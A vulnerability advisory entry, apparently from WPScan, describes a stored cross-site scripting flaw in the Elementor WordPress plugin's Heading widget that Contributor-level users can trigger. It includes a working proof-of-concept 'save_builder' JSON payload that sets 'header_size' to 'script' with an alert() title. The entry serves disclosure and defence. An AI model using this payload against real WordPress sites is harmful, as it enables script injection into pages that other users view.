Lucene search

K
wpvulndbRamuel GallWPVDB-ID:B72BD13D-C8E2-4347-B009-542FC0FE21BB
HistoryMar 17, 2021 - 12:00 a.m.

Elementor < 3.1.2 - Authenticated Stored Cross-Site Scripting (XSS) in Heading Widget

2021-03-1700:00:00
Ramuel Gall
wpscan.com
6

0.001 Low

EPSS

Percentile

21.8%

In the plugin, the heading widget (includes/widgets/heading.php) accepts a ‘header_size’ parameter. Although the element control lists a fixed set of possible html tags, it is possible for a user with Contributor or above permissions to send a modified ‘save_builder’ request with this parameter set to ‘script’ and combined with a ‘title’ parameter containing JavaScript, which will then be executed when the saved page is viewed or previewed.

PoC

{“save_builder”:{“action”:“save_builder”,“data”:{“status”:“pending”,“elements”:[{“id”:“1d0d10f”,“elType”:“section”,“isInner”:false,“settings”:{},“elements”:[{“id”:“3ce7394”,“elType”:“column”,“isInner”:false,“settings”:{“_column_size”:100,“_inline_size”:null},“elements”:[{“id”:“a89487e”,“elType”:“widget”,“isInner”:false,“settings”:{“title”:“alert(‘headingpwned’);”,“header_size”:“script”},“elements”:[],“widgetType”:“heading”}]}]}],“settings”:{“post_title”:“headingpoc”,“post_status”:“pending”}}}}

CPENameOperatorVersion
elementorlt3.1.4

0.001 Low

EPSS

Percentile

21.8%

Related for WPVDB-ID:B72BD13D-C8E2-4347-B009-542FC0FE21BB